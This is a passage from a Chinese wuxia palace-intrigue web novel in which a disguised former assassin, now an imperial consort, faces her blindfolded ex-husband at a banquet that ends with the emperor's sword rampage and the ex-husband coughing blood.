第二天,嘉庆帝又唤她陪他玩马吊。她强打着精神记牌,不仅叫嘉庆帝赢,还尽力使他赢得舒心,一个人要记两个人的牌,玩得头昏脑涨。 即便是打马吊时,也时时分心。 有时候,看着手里的牌,就忽然想到明天的事。 要见面了。 她做梦也没想过,当年兰阁一别,竟然还会再见。 从前,她跟李玄白稍微接触,他便会失控,几回险些当场失态。 如今,倘若他认出她,会不会即刻就把她杀了? 如果他要杀——那也是她应得的。 她认。 “德音,德音?”嘉庆帝坐在牌桌另一侧,伸手在她眼前比划,“魂飞天外了?出牌。” 那一天,她连玩惯了的马吊都觉得繁杂恼人。玩到最后,熬不下去,称病走了。 嘉庆帝一向讨厌玩牌时有人扫兴,刚要发火,看清了她脸色,什么也没说。 顾怀瑾回宫的前一晚,她眼睛没有阖过片刻。 不知不觉,雕花窗棂外的天,渐渐亮了。 巡更太监的更鼓,梆——梆——梆—— 一声一声,响彻长街。 等到清涟和远香都起了,在清晨新鲜得呛人的空气中烧水、梳头、备水,她也跟着起了身。 听李玄白说,顾怀瑾今日回宫。虽然他未领官职,但因为名望太高,还是要去乾阳殿上露个面。 为他举行的宫宴,酉时方开始。 她等不了那么久了。刀子悬在头上,不落也逼得人头皮发麻,她焦虑得坐立不安,必须找点事做做。 她换上夜行衣,打算用轻功摸去乾阳殿外,远远地,先见他一面。 看看她这位阔别已久、隔着血海深仇的前夫,到底成了什么样子。 紫禁城内,虽然处处有禁卫,但这些出身军营的卫兵,身手比不上她们江湖出身的刺客。 她轻而易举地掩去身形,避开禁卫,翻到了乾阳殿外一棵高高的白杨树上,隔着菱花纹的窗子,往内窥视。 乾阳殿内,金砖墁地。六根蟠龙巨柱恢弘矗立,北端一张金漆雕龙宝座,御座上方,是蟠龙藻井,绘着二十八星宿,错彩纷繁,中间轩辕镜昭昭悬挂。 一人负手立于御座旁,身着金黄蟒衣,当是摄政上朝的李玄白。只是,她站得高,只看得到他的冠顶。 对面,金碧辉煌的大殿内,百官身着各色朝服,头戴梁冠,手持笏板,齐齐面朝御座垂首恭听。 绯衣、青衣、绿衣的百官之前,独独站了一个玄衣的影子。 不着朝服,不戴梁冠,负着手,高阔肃杀,阴郁沉敛。 一根黑绸,缚在眼上,向后没入丝缎般的黑发里。 她听见自己心脏嗵的一震。 顾怀瑾。 不挂一官半职,立于百官之前。 他竟然成了这个样子了。不消半个字,已经谁也靠近不得。 不是那个人了。 不是那个,会缠着她,连着叫她的名字,亲个不停的人了。 如果被他发现…… 如果被他发现,她的下场,比从前那个紫睨,还要有过之而无不及。 她当机立断将杨树枝拨回去,转头打算翻上黄瓦。 听说他武功大进,今非昔比,不能在此久留。 忽然,她一激灵,仿佛头皮过了电,汗毛噼啪地炸起来。 她鬼使神差地,回了头。 顾怀瑾,隔着蒙目黑绸,静静地,从大殿内,仰着头,看着她。 第105章 “你如今那把嗓子,那姓顾的听了,确实不会太喜欢。所以慎重点。能少说,就少说。” 宫宴前,李玄白派人在宫道上截住她的轿子,传给她这么一句话。 她心神不宁,深吸一口气。 早朝时,她还只是攀在杨树上悄悄往里窥了一眼,不知为何,就跟他阴差阳错地对上了。 到底是巧合,还是? 他究竟怎么发觉她在那的? 甚至还用黑绸蒙着眼。 她不敢细想,一路掀着轿帘,心惊胆战地往外瞄。 宫道上成队的宦官宫女静默行过,倒是没有看见那个人。 她不想同他对上。当年,她躲在宋瑶洁那密室后,都被他无缘无故地察觉了,倘若当面碰上,不知道要多难以解释。 装失忆,是下策中的下策,没有办法的办法。 转过一个弯,前面便是设宴的谨身殿。她掀着帘子往外一瞧,看见大殿宽阔的广场前,已经停了一乘轿子。 那轿子通体玄黑,毫无装饰,分明享受着紫禁城内乘轿的殊荣,却刻板肃冷得仿佛铁打的一般。 不用想,她也知道这轿子是谁的。 她掀开帘子,望了清涟一眼。 清涟当即会意 ,叫那轿夫缓步慢行,一步一步地往里挪。 她在轿内,夕阳余晖打在丁香紫的锦缎轿帘上,洇过来,将轿内照得一片昏暗。 捂着胸口,闭了闭眼,平复呼吸。 江湖上行走这么多年,她鲜少有怕的时候,更从未如此忐忑过。 一颗心惴惴不安,倒还真是新鲜。 轿子在这,人一定正在殿门外等候。她掀开帘子,道,“暂且不去谨身殿,去殿旁的荷花池。” 御花园内的荷花池,背靠一座假山,池水墨绿,剔透如宝石,底下朱红色的鲤鱼三三两两游着。 如今已经将近酉时,夕阳西下,水边自有一种萧冷水气,她摸了摸胳膊,对清涟道,“去取些鱼食来。” 清涟应声,下去了。不久,取了盒鱼食回来,她接到手里,一点一点,撒在水中。 鱼群聚过来,在藻绿的水中,翻旋得叫人眼花缭乱,一下一下啄破水面。 其实,她心里也明白,做这些事,不过是拖延,消磨时间。 早晚还是要碰面的。 说来也真是好笑。她坠崖的时候,腾在空中,还拼命想看他一眼,希望记住他。 可是真捡了一条命回来,没两天就把人抛到脑后,忘了个干净。 干净到,就连重逢,都没有侥幸和痛愧,只有心虚。 缥碧色的沉郁的水面,忽然,映出他同样沉郁的面孔,双眼缚着,神出鬼没,仿佛是从身后树影中,凭空化了形。 她恹恹地瞥了一眼,收回眼神。 竟然心烦到,喂个鱼,都能在水面看见他。 跟鬼一样。 “娘娘。” 她手里一盒鱼食全泼了出去,惶然转身,忽然脚底一歪,踩空半截。 人立时不受控地往池中栽下去。 却没有当真歪下去,被他堪堪扶住了。 步摇的珠串抽在颊侧,她一颗心当即跳到嗓子眼。 顾怀瑾扶着她,站得不远不近,语调不冷不热,手上的力气,似乎有意,又似乎无意。 “顾某得皇上允准,出入宫禁已久,倒还不知宫中,有了这位娘娘。” 她忽然发觉他仍抓着她的胳膊,手上的温度隔着薄薄鲛纱传过来,一阵心慌,朝远香看了一眼。 远香也未曾发觉他靠近,吓得愣在一边,此时如梦初醒,急急行礼: “见过顾先生。我家娘娘两月前选秀进宫,顾先生回山三月,因而未曾与顾先生见过。” “原来如此。”黑绸覆在他眉眼上,那双惊心动魄的桃花眼被掩去,人却更显精致疏艳,“那么,珍妃娘娘恕罪。” 嘴上道着“恕罪”,握着她胳膊的手,却依旧不肯松。 她心里一阵打鼓,强将他挥开。 他沉默着,由着她挣开,没动弹。 她待不下去了。不知为什么,这人明明眼睛还蒙着,可是她总感觉,那黑绸底下,两道目光,灼灼烈烈,钻头一样,不将她钻开来看看,不罢休。 她哪里敢跟他对视,垂下头行礼就要走。 刚垂着眼跨开一步,鞋尖前挡了一截玄色衣摆。 她甚至不敢抬头看。 “娘娘要去哪。”他道,“顾某见娘娘在此喂鱼,无心叨扰,只是怕娘娘失足落水,想过来提醒一二。” 她鞋跟再往后半寸,便是深深的荷花池,鞋尖往前三寸,便是他的衣摆,她简直不知道他的“无心”在哪里。 气势这样慑人,莫非他认出她了? 大约还没有。不然——她看着他那蒙着黑绸,平静无波的脸——不然,他不可能这样冷静。 眼睛往下,骤然发觉,他脖子上,喉结旁边……多了一颗,小小的痣。 她脑子里轰隆一声。 那一瞬间,或许是靠得太近了,她忽然觉得她吸进肺里的气,有些正是他刚刚呼出来的,她的一部分,正在跟他的一部分,纠缠。 不能再这样待下去了。她抬眼瞥了一眼清涟。 “不知何处开罪了珍妃娘娘,叫娘娘如此冷待。”见她久久不言,他慢条斯理地开口,“顾某心中惶恐,还望娘娘明白示下。” 清涟疾行到两人身侧,一行礼,“回顾先生。我家娘娘前些日子染了风寒,嗓子不大爽快,因而不便开口。” 他不答,沉默地面朝着她,不知是在看,还是没在看。 她如芒在背,冷汗涔涔。 良久,他两片微红的唇,轻描淡写地动了动:“如此。” 没再说话,却也没有退开。 当是时,余晖晚照,映在假山旁的柳树上,光影婆娑。 水波的光斑,粼粼翩跹,映在他脸上。 经年未见,他倒是英俊如往常,骨骼甚至更加清隽英朗,眉骨俊挺,眼窝深邃,整个人如一块被精心雕琢过的玉。 两片漂亮的唇,她从前随意吻过的,微微泛着红。 她不想再看了,这时候才发觉,以为忘了,其实一点也没忘,连他唇峰矜雅的曲折,她都还记得。 她垂下眼,不管他愿不愿意,避过他的肩膀,转身走开。 面前人不语,由着她若无其事地擦肩而过,缚着黑绸的脸孔,沉默地循着她偏转。 她不敢回头看,两手交叠在小腹上,故作镇静地迈步。走了两下,才想起此前为了掩盖身份,特意学了两天江南的淑女步,生硬地改过来。 改了,又觉得此地无银三百两,胸中一阵失重的胃酸,局促尴尬,惶惶走开。 荷花池边,最后一点夕阳映在软软的水波上,一身玄衣的人,不知是在看还是没在看,面无表情。 良久,他将那只触了她一下的右手,放在鼻尖底下,嗅了嗅。 * 南琼霜坐在嘉庆帝身侧,阶下俱是朝中重臣,举起酒盏,齐齐向嘉庆帝道祝酒词。 嘉庆帝后位空置,如今得宠的只有她,她的位子在阶上,正是众目交汇之处。 可是她却一点心思也没有,捏着酒盏,大拇指在酒盏的瑞兽雕刻上摩挲着。 这样不行。 不知为什么,她一个字都还没说,顾怀瑾似乎就已经注意到了她。 不然,怎么会独独挑中她,把她堵在荷花池边? 到底是怎么注意到的?他甚至眼睛都还蒙着。 莫非他眼睛不好,也能看见? 她用余光探了探,顾怀瑾如今坐在阶下首席,正在她右下方不远处,垂首,不知在想什么。 她飞快地朝他瞥了一眼。 顾怀瑾毫无所动,或许是没有注意到。 她的心略微安定了些,拿起筷子,状似无意地多瞥了他两眼。 他的侧面,俊雅得难以置信,沉默不语的时候,鬼神也不敢近前。 她摇着团扇,心神不宁地往后躲了躲,靠在座椅中。 “……回山这些日子,山中可还好?”嘉庆帝的话,她只听了一半。 “山中一切安好,多谢皇上挂怀。” “先生的无量心法,练得如何了?是否境界大破?” 顾怀瑾颔首:“破了第七层境界。” 听闻这话,堂内文官倒还没什么反应,武将齐齐一惊。 常达举杯道贺:“无量心法破了第七层,岂非已大成?若当真如此,顾先生便是天底下唯一一位心法传人,三百年来唯一一位大成者。” 顾怀瑾谦让道:“不及朱老。”无量山的老掌门,似乎姓朱。 阶上,李玄白笑道,“心法大成便伤身,如今你身子如何?” “尚可。多谢摄政王挂怀。” “不是说心法不可动怒,但凡激动,便会功法倒退,反噬伤身?” “顾某已久不会激动。凡俗诸事,不过镜花水月,何必庸人自扰。” “哦,话倒说的很是脱俗。”李玄白撑着腮笑,“有时候,先生太波澜不惊,本王倒还真想见见先生动怒,反噬呕血。” 说完,若有似无地,朝南琼霜瞥了一眼。 南琼霜握着酒盏的手,当即捏紧。 堂内重臣听了他这一句话,齐齐一惊,垂下头,装作不闻。 嘉庆帝闻言一怔,偏首望了李玄白一眼 ,没说什么。 “要叫摄政王失望了。”顾怀瑾浑不在意,“自顾某修习心法以来,唯有最初几个月,眼底渗过些血丝。” “确实。毕竟经过那些事,也没有什么可动摇先生的了。”李玄白似笑非笑,折扇有一搭没一搭摇着。 堂内一时气氛更沉重,无人敢接话。渐渐地,三两宾客起身,连声道着需净手,悄悄离席。 顾怀瑾未答。 嘉庆帝拈着酒盏,磕了磕小几:“摄政王。” 顾怀瑾却是笑了:“确实如此。” 南琼霜深吸一口气,筷子在菜肴里心烦意乱地挑着。本想夹一筷白灼菜心,眼一抬,见顾怀瑾面朝着阶上,不知在望谁,手一抖,夹了一块红烧狮子头。 “摄政王,从前的事,不必再提了。”当年天山派的事,波及甚广,江湖上无人不晓,连嘉庆帝高居庙堂之上,都有所耳闻。 李玄白不想再惹事,拄着腮,手指敲了敲桌缘,夹了一筷子菜。 南琼霜松了口气。侍在身侧的清涟,拿起小几上的酒壶,适时地将她的酒盏满上。 她拿着酒盏,吻了一口。 嘉庆帝:“朕亦痛恨细作。飞鱼卫交予先生,也是为助先生一臂之力,将那细作早日揪出来,剜心断骨,扒皮抽筋。” 她垂下眼,笑着,不动声色将酒盏放下了。 一抬眼,竟跟阶下诸臣中的一人对上。 那人坐在常达身侧,面色同他那五大三粗的父亲一样红润,头发稀疏,脸盘子圆得一脚踢开能滚二里地,见她带着点笑同他对上了,呆了一瞬,赶忙笑开。 雾刀提过的那个好色之徒,常达的儿子,常忠。 她赶忙收回眼,心里晦气。 忽然却觉得,有什么不对,余光一瞥。 自从宴席开始,始终面无表情朝着阶上三人的顾怀瑾,幽幽偏转了头,缚着黑绸的脸,朝向常忠。 第106章 南琼霜心里一凉。 她真的觉得他能看见。 倘若他能看见,她这张脸孔摆在这里,旁边便是李玄白,要认出她的身份,岂不轻而易举? 可是,他还是太过沉静了。 不论是恨是爱,都太过沉静了。 假如真的认出了她,绝不该是这么平淡的反应。 她将口里含着的酒咽下去,那酒辣得呛鼻,她眉头蹙了一瞬。 一抬眼,顾怀瑾又转过了头,面朝着阶上三人,不知在看谁。 她心里突地一跳。 “不过,此番回京,乃是因皇上头风发作,唤顾某回京诊治,顾某故提前返程。然而,山上琐事尚未了结,恐怕过几日,顾某还需回山一趟。” 嘉庆帝当即有点惊慌:“先生还要回山?” 南琼霜坐在嘉庆帝身侧,如释重负地松了口气。 顾怀瑾:“恐怕不得不走。” 南琼霜听着,不免带了点笑意。 嘉庆帝:“先生何时走?走几日?七天?五天?三天?” 顾怀瑾闻言笑了,没说话。 他笑着沉默,便是否认,嘉庆帝明白,更加急道:“先生治国尚且手到擒来,一山事务,朕看三日足矣。先生三日回来。” 顾怀瑾未接话,黑绸底下的两片唇妥帖勾起来,“听说皇上新得了一位佳人,颇合圣意,时时替皇上分忧解难。顾某心想,珍妃娘娘在侧,皇上的头风,也不会常常发作。” 骤然提起她的名字,她心里一阵忐忑。 清涟又将她的小酒盅倒满了酒,她将酒盅凑到唇边,听着。 “德音是德音,先生是先生。后妃如何可与先生相比?” 顾怀瑾不答,似笑非笑。 “皇上需多关照珍妃娘娘的身子。” 不知怎么,他忽然说了这么一嘴,顿了顿: “顾某昨夜,梦见了珍妃娘娘。” 她的小酒盅骤然脱了手,叮一声砸在地上,哗啦碎了。 满堂宾客倏地一滞,猛地将头压进菜肴里,忙手忙脚地吃菜。 李玄白挑着眉毛,朝她和顾怀瑾的身上各自扫了两圈,勾着唇,等他下言。 他却久久没再说话。 南琼霜坐在嘉庆帝身侧,只看得见皇帝的侧脸。 嘉庆帝什么也没说。可是他不说话,比说话更可怕。 嘉庆帝固然无能,但是个疯子。他或许仰仗顾怀瑾,也拿李玄白和常达没办法,但若想折磨一个后妃,未必做不到。 顾怀瑾,他到底在说什么?! 宫宴之上,当着朝中重臣的面,对皇上说,梦见了他的妃子?! 顾怀瑾眉目间纹丝不动,唇依旧勾着。 宴席之上,丝竹管乐声不知何时停歇了下去。风动树摇,一阵沙沙的响。 不知不觉,一阵推盘置盏之声,叮当作响。堂内诸臣,眼神彼此抛成一张密密的网,杂乱罩在整个谨身殿内。 人人皆知嘉庆帝常常发疯。不断有大臣起身,借口净手,弓着身子踮脚出去。 嘉庆帝沉吟许久,开口: “先生梦见德音什么了?” 顾怀瑾答得平稳: “梦见娘娘害了病。” 她只觉心吊出了嗓子眼,顶在舌根,带来一阵反胃感。 嘉庆帝:“害了什么病?” 顾怀瑾脸色雪白,没看她,却好似看着她,明明笑着,却笑得恨恨的: “娘娘昨夜梦中……身上酸乏,虚热盗汗,心慵无力。” 她鬼使神差地,想起一些事情。 她仰在衾被上,两只膝弯在他肩上搭着,小腿荡在他背后。 他将一切都挡住了,只看得见他不断滚动的、汗淋淋的喉结。天花板上的莲花开了又合、合了又开,她却被迫一直开着,受了再受、满了再满,直到……汗湿眉睫、身如火烧、酸乏无力。 ——他到底在说什么?! 她猛地抬眼盯住他,手指被团扇柄硌得生疼。 顾怀瑾笑得淡然从容。 她不敢深吸,也不敢重呼,心惊胆战瞥了嘉庆帝一眼,拿团扇挡住一半脸孔,朝嘉庆帝靠了靠。 嘉庆帝没反应。堂内余下的大臣,也并无异样,装吃菜的吃菜,装喝酒的喝酒。 她躲在团扇后,心神不宁喘了一口气,身上燥的厉害,指尖却冰凉。 ——是她想多了。怎么可能。 一抬眼。 顾怀瑾修长的手,轻轻按揉着自己脖颈上的那颗小痣,一个字也没说。 她脑子里面轰隆一声惊雷。 ——不对。 ——他知道。他就是那个意思。 他——他怎么会?! 她附耳柔柔对嘉庆帝道:“皇上……” 嘉庆帝将酒盏啪嗒一声撂在小几上,一下一下,鼓起掌来: “不愧是顾先生。不愧是顾先生。顾先生今日才回宫,怎的就知她这些日子体乏神虚、疲惫无力?那日,朕同她打马吊,才打了多一会儿,她就称病走了!她的身子,朕一直担心。” 南琼霜顿时怔住,欲言又止,睫毛颤抖两下。 顾怀瑾如今会占卜,嘉庆帝是拿他当先知看的。即便他说,他梦见了她,嘉庆帝也未往两人私通一面想,只当他梦中预知了未来。 她如蒙大赦,筋疲力竭,团扇挡在脸前,闭了闭眼。 可是,隔着团扇,她都感觉,两道目光,穿过所有一切,直直打在她身上。 他在看她。 虽然他眼睛蒙着,虽然她躲在团扇后,虽然她没看他。 但是她知道,他在看她。 她的拳头攥起来,指甲掐进掌心里。 ——他在试探她,用一些……只有他们两个知道的事情。 可是,怎么会?怎么会连梦都共通? ——即便连梦也共通。 ——他怎么会将那种梦,拿到宫宴之上、拿到嘉庆帝脸上来说?! 嘉庆帝大笑:“朕得顾先生,当真是天公开恩!朕之幸矣、齐宋之幸矣!” 顾怀瑾不可置否,浅淡一笑。 南琼霜僵硬地赔了个笑脸。 顾怀瑾笑道:“不知娘娘是否还有体寒之症?平日里多思、多梦,喜清淡、忌荤腥?” 嘉庆帝拍掌大笑:“正是!正是!” 南琼霜从牙关中挤出 一声长叹,心灰意冷,头有些晕。 实在无法,将面前酒盅拿在手里,一饮而尽。 嘉庆帝:“除却顾先生和德音,其余人,朕一概信不过。既然先生亦善医术,梦中即可断人病症,不若日后请先生常常为德音把脉,德音的身子,就交给先生了。” 她实在受不了,惊道:“皇上!” 声音一出,才发觉嗓子尖甜得惊人,仿佛一把在糖浆里滚过的钉子。 今日一整天,她都不曾开口。这时,她才想起来。 这嗓音,不是她原本的嗓音。 她带点得意,笑着,悄悄窥了一眼顾怀瑾的神色。 果然,他八风不动的脸上,顿时变了脸色,右边眉毛冷冷挑起,仿佛在断一桩悬而未决的案。 面色灰白,阴厉不祥。 早知道,这凤鸣丸有如此奇效,她何苦与常达周旋许久,一把拿来吃了便是。 嘉庆帝却骤然有些紧张,伸出胳膊,将她护在广袖后:“顾先生,前些日子,常大将军赠给德音一味丸药,说是可令女子嗓音更美妙,不想——” 他回头看了一眼常达,不敢得罪,将话折得委婉,“不想药效因人而异,到了德音身上,便将她嗓音变得格外尖了些,还请先生海涵。” 顾怀瑾缚着黑绸,不动声色,沉默许久。 南琼霜缩在嘉庆帝的袖子后,静静地等。 这时,竟忽然想起,当年在天山上,宋瑶洁为颂梅之死,找她兴师问罪,是他庇护了她。 就像今日嘉庆帝一般,横出胳膊,将她挡在袖子后。 如今,想杀她的人,成了他了。 她轻轻笑起来。 良久,顾怀瑾道,“顾某本也不会因此事而动怒,皇上多心了。此前,顾某当庭诛了含光殿宫人十二人,原因也并不全在那宫人嗓音尖酸难听,是因那些宫人乃是往生门细作。谁知,人言可畏,传着传着,将顾某传为了易怒滥杀之徒。” 李玄白闻言嗤笑一声:“‘传为’?” 顾怀瑾不可置否,不答。 南琼霜心里惊讶,如今,他已经摸到往生门了。含光殿的事,她竟还不曾听说。 “顾先生不在意便好,顾先生不在意便好。”嘉庆帝连连道。 她一颗心,缓缓地放回肚子里。 一抬眼,常达本想借顾怀瑾的手杀她,不想没有得逞,不甘又不甘地阴沉窥着她,眼睛藏在茂盛丛生的眉毛底下,凶怨狠怒。 她一笑。 这常达,是真怕她将嘉庆帝骗去了。 “不过,方才荷花池旁,顾某听娘娘身边的丫鬟说,娘娘不便开口,是因患了风寒。” 他轻描淡写地道: “怎么。顾某何处得罪了娘娘,叫娘娘见顾某第一面,便叫下人编话来骗我。” 她手指捏着团扇柄,大拇指指甲狠狠抠进食指的肉里,吞咽了一下。 李玄白飞快地给她递了个眼神。 南琼霜眼神沉沉,微微摇头。 这种时候,李玄白更不能开口。一旦他替她解围,顾怀瑾马上就可以敲定她的身份。 她不自觉将一点唇夹在齿间咬着,斟酌。 顾怀瑾不慌不忙地等。 嘉庆帝忽然转过头,将她眼下黏着的一根睫毛摘去了,握住她的手: “德音,这些日子,你患了风寒,朕怎么都不知道?” 第107章 南琼霜望着嘉庆帝关切神色,愣怔一瞬。 送上门来的台阶,不下白不下。 她哀戚垂下长睫,团扇半掩住唇,“一点小事,怎么好叫皇上为德音担心。” 嘉庆帝:“这样怎么行。”说着,手朝阶下的顾怀瑾一指,“改日叫顾先生好好给你把把脉。” 她脑袋里仿佛有一根筋噔噔蹦着,想赔笑又笑不出,干涩道,“是。” 嘉庆帝拉过她的手,放在自己腿上,在掌中一下下拍着。 南琼霜坐在玫瑰椅内,手被嘉庆帝牵着收不回来,简直不敢往下看。 当着他的面,跟嘉庆帝卿卿我我。 顾怀瑾面色平静如水,黑绸底下好看的唇,温柔勾了起来。 他道:“顾某遵旨。” 她垂下眼,长睫扑扇得像马上要落入猫儿口中的鸟。 虽然他不动声色,虽然他什么也没说,虽然他甚至笑着。 但她——总觉得,不妙。 她偏过头去,几乎带点恳求的,柔柔唤了一声,“皇上——” “皇上。” 常达坐在阶下次席,正在顾怀瑾身侧,举起酒杯,向嘉庆帝一拱手: “臣有事相求,不知皇上可否允准。” 堂内尚且余下些宾客,见宴上并未因顾怀瑾的梦有大争执,各自松了一口气。结果,刚心平气和地夹菜吃了两口,听了这话,又战战兢兢竖起耳朵。 “常大将军直言便是。” “山海关外,匈奴人正虎视眈眈。臣十四万大军正驻守山海关外,日夜守卫,不敢有丝毫松懈。匈奴伪诈多变,莽烈嗜杀,乃是反复无常之国。若不以诸侯王镇之,臣恐其势不定。” 常达不慌不惧,一双狼眼直直逼视着高座之上,明黄衣冠的嘉庆帝,一字一字,咬得气势勃勃: “若能得皇上册封王爵,想必匈奴气焰可铩,匈奴十六部可除,山海关外失地可复,牧场可为良田,百姓安居乐业,天下之幸矣。” 此话一出,谨身殿内余下的宾客,再无暇饮酒吃菜,一齐犯了内急,踮着脚尖头也不回地往外狂奔。 谨身殿内的宾客,顿时只剩下三分之一。 暗处,乐伎不敢擅离职守,丝竹管弦之声未歇,大殿空了不少,外头的风声愈发震耳欲聋,伴着悠悠弦乐,一派诡异的绮靡。 南琼霜倒吸一口气,去看嘉庆帝的脸色。 自从四百年前魏朝因藩王之乱没落后,历代极少册封异姓诸侯王的先例,到了齐宋,仅有宗室可被册封为藩王。 常达一个将军,领着十四万大军还不够,还要给自己讨个封号,加个“王”字? 她偏头去看嘉庆帝身侧的李玄白。 要藩王的头衔、藩王的俸禄、藩王的封地,无非是处处与李玄白这个摄政王,比着来。 但李玄白怎么会同意? 李玄白懒怠靠在椅子中,胳膊肘拄着扶手,百无聊赖撑着腮,连眼皮都懒得抬一抬。 一派混不吝公子哥儿模样。 “不知皇上圣意。”常达语气倒还装得客气。 嘉庆帝望着面前杯盏残羹,默了仅仅一瞬,望向顾怀瑾,强笑道: “不知顾先生……” 顾怀瑾毫无波动,心平气和端起酒盏饮了一口: “有摄政王在此定夺,毋需顾某多言。” 南琼霜摇着团扇,面上虽然还算冷静,却也心神不宁,朝李玄白看过去。 倘若李玄白不准,常达今日意欲何为? 李玄白歪坐在高座中,眼神都不需瞟一瞟,便可知此时那姓顾的瞎子和那无能的疯子,都正在聚精会神,等他拒绝。 拿他当刀使,用他收拾自己想收拾的人。 当日,被困在紫禁城之中,跪下接了那道册封摄政王的圣旨,今日之事,他就早该料到的。 偏偏,一山二虎,他是更凶猛的那一头,手里已经掌着大权。 他不想再跟常达的十几万大军硬碰硬,只想将他悄无声息地处理了。 倘若他今日不允,常达的大军是否早已准备就绪,只待以今日之事为契机,杀进紫禁城? 李玄白一直没有说话。 一切都太静了,外面的风不知何时刮了起来,卷得殿外高树一阵沙沙簌簌。胆小的宾客惶惶逃跑,谨身殿的大门都不及合上,树叶从殿外卷进来,在方形地砖上打着旋。 王茂行一直没有走。见状,弓着一把孱弱的老骨头,哆哆嗦嗦地起身上前,合袖行礼。 未待他开口,李玄白拨了拨耳朵底下的小耳坠,拣了一块水晶肘子在口里,懒散地倚回椅子。 “简单。”他笑道,“封个王爵,还不容易?咱们皇上体恤人才,又有雅兴,在咱们齐宋当官儿啊,都不用走科举的。” 他睨着嘉庆帝顿时阴晴不定的神色,手一摊: “前些日子,听说齐国公家那废物公子,因着善打樗蒲,赢了皇上,给封了个油水不小的官儿。今日,不过一个王爵,常大将军同本王说什么。既已一身军功,封个藩王,领块封地,爵位往上抬一抬,早已是应有的事。若说差什么,也就只差在樗蒲上赢皇上一局了。” 他转过头,对嘉庆帝笑,“皇上,什么时候也同臣玩一局?” 南琼霜顿时知道他打的什么算盘。 平日里他再僭越,见了嘉庆帝,偶尔也请个安行个礼,不曾嚣张到这地步。 今日,是想以毒攻毒,借着嘉庆帝的疯症,把水搅浑,使此事无疾而终。 但问题在于——嘉庆帝发起疯来,六亲不认。 她急忙去握嘉庆帝的手:“皇上——” 不待她话音落下,嘉庆帝手中酒盏果然狠狠掷在面前小几上,力道之大,砸得那小几裂为两半,她只觉木头碎片崩在脸上,劈头盖脸。 “混账东西!”嘉庆帝腾地一下站起身,“朕就爱玩玩樗蒲又如何!天下都是你们的!朕将天下拱手相让!难道就连区区一个赌园,一张棋盘,都不肯留给朕了!” 此时仍在席间的宾客,都已是忠心耿耿之辈,见状一齐离席,跪到大殿中央,“皇上息怒,皇上息怒——” 嘉庆帝本在皇位上坐得好好的,半年前忽然被人从龙椅上硬拽了下去,不仅不能生啖其肉,还被逼着交出权柄,对谋逆者俯首赔笑,心中何其煎熬。 如今,他顶着一个皇上的名头,就只想要一点皇上的面子。 可是,今日,这些人,已经在宫宴之上,公然指责他因赌误国了吗?! 他一把甩开南琼霜的手,将面前小几掀翻,桌上器具杯盘哗啦啦倾倒一地,满地狼藉,他踏着地上碎瓷残羹,指天大叫: “误国!究竟是谁误国!朕不过送出去一个小官儿,你们不高兴,不过是因为送的不是你们!朕将国玺送给二位,你们就肯了!就高兴了!朕是误国,何人窃——” 绝不能叫“窃国”二字从嘉庆帝口中出来,若是由他来说,事情就定了性。 南琼霜不顾方才被他搡得一歪,站起身来去拉嘉庆帝的胳膊,急忙从袖中掏出一把香扇,软着嗓子哄,“皇上,皇上这是何苦,动这么大的火,刚好的头风又要发作了。您可别吓唬臣妾……” 话说一半,巧妙落了两颗泪,她拉着他袖子,水眸盈盈,手上扇子不住地扇——那扇的扇骨,乃是用迷魂香的原料伏罗木打的,香风一扇,牛也要倒。 嘉庆帝果然迷迷瞪瞪眨了下眼,却极力又将眼皮吊起来,“你们这些人!朕早晚要一个!一个!的——” 南琼霜想盖住他的声音:“皇上!” 嘉庆帝眼里尽是血丝:“德音,松手!” 她不肯松,握着他的手,在袖子里安抚地摩挲,叠着声唤,“皇上,皇上——” “松手!”嘉庆帝暴起,一把将她甩得几乎扑倒在地,唰地一声拔剑出鞘,惨白剑锋光芒铮然,一下将李玄白眼前的小几也劈作两半。 李玄白缩着脚,厌嫌不耐地给顾怀瑾递眼色,想叫他管管这疯子,一看才想起他眼睛蒙着,更是气了,提起声音: “姓顾的!” 殿中跪了一地的大臣如梦初醒,才想起在场倘若有一人,既被疯帝惧怕忌惮,又被疯帝信赖尊敬,不必血刃,便可将发作的皇帝压制下来,那么——唯有那一个人。 众人齐齐向端坐于阶下首席的蒙目人看去。 蒙目人却一丝不动,一言未发,静静地,望着阶上的人。 南琼霜不知道殿内怎么忽然这么安静,静得唯有嘉庆帝发狂的声音。 但她也顾不得,袖中三枚银针拈在手里,心里暗骂,倘若是在紫宸殿内,两人独处,她有的是手段,可是偏偏要在宫宴之上! 忽然,身上一阵噼里啪啦的战栗,似乎有人自阶下盯着她。 竭力地、拼命地、目眦欲裂地盯。 她恍然回神看去。 被满殿重臣巴巴望着的人,与她对望,但不知道到底在看阶上的谁,面上不露痕迹。 可是,不受控制地发着抖,嘴唇哆哆嗦嗦,脸上白得仿佛惨死在水中的鬼。 她心中顿觉不妙。 下一秒,顾怀瑾张开口,鲜红的血争先恐后,从他的唇缝中汨汨溢出,从唇角到下巴,拉出两道直直的血痕。 殿内大臣惊呼:“功法反噬!先生功法反噬了!” 一瞬间,他呕出来的血糊满了整个下巴,“噗”地一声,喷在地上,溅开一大朵狰狞的花。 第108章 嘉庆帝发起疯来,哪里注意得到旁边的动静,双手将剑高举过头,劈头就要朝李玄白砍过去。 李玄白固然有武功,但常达就在阶下,又顶着摄政王的头衔,不论如何不敢弑君,翻起身往一旁跳开。 不想刚一起身,当即一道白光斩在面前,劈得椅子扶手裂开一半:“艹!” 地上群臣一半哀嚎着围在疯帝脚下,一半大哭着将顾怀瑾围在中间。 顾怀瑾捂着心口粗喘着,手死死揪住胸前衣襟,指节绷得几乎透明。 南琼霜朝他看了一眼,又收回目光。 虽说是功法反噬,大约也不至于死。 至于李玄白那边,若是真出了事,摄政王一派的朝臣不知要怎么闹,常达看在眼里,不知又要生什么异心,今日之事,更是无法收场。 她当机立断,又朝疯帝奔过去,看准了嘉庆帝脚旁正空着,而她脚下正有一张矮矮的小几,装着绊在裙子上,往前一扑。 那小几当即滑到疯帝脚下。 嘉庆帝正又提了剑猛砍,忽然脚底一绊人一栽,骤然跌得弯了腰,从那小几上滚过去,手里的剑,嵌进李玄白的椅背里,拔不出来。 李玄白堪堪避开,旋即起身,腾跃到她身侧。 两人默契对了个眼神。 再抬眼一看,疯帝正蹬在李玄白的座椅上,呼哧带喘地往外拔剑。 李玄白看着他那费劲的模样,忽然笑了一声。 南琼霜正担心嘉庆帝拔出了剑便又要杀过来,忽然听见他笑,毛骨悚然地打量了他一眼: “怎么?” 李玄白倾身过来,看着蹬起一条腿拔剑的疯帝,附耳: “你瞧他那屁股,多圆。” 南琼霜简直疑心自己是疯了,才会听见这样的话,半晌,气得快昏了: 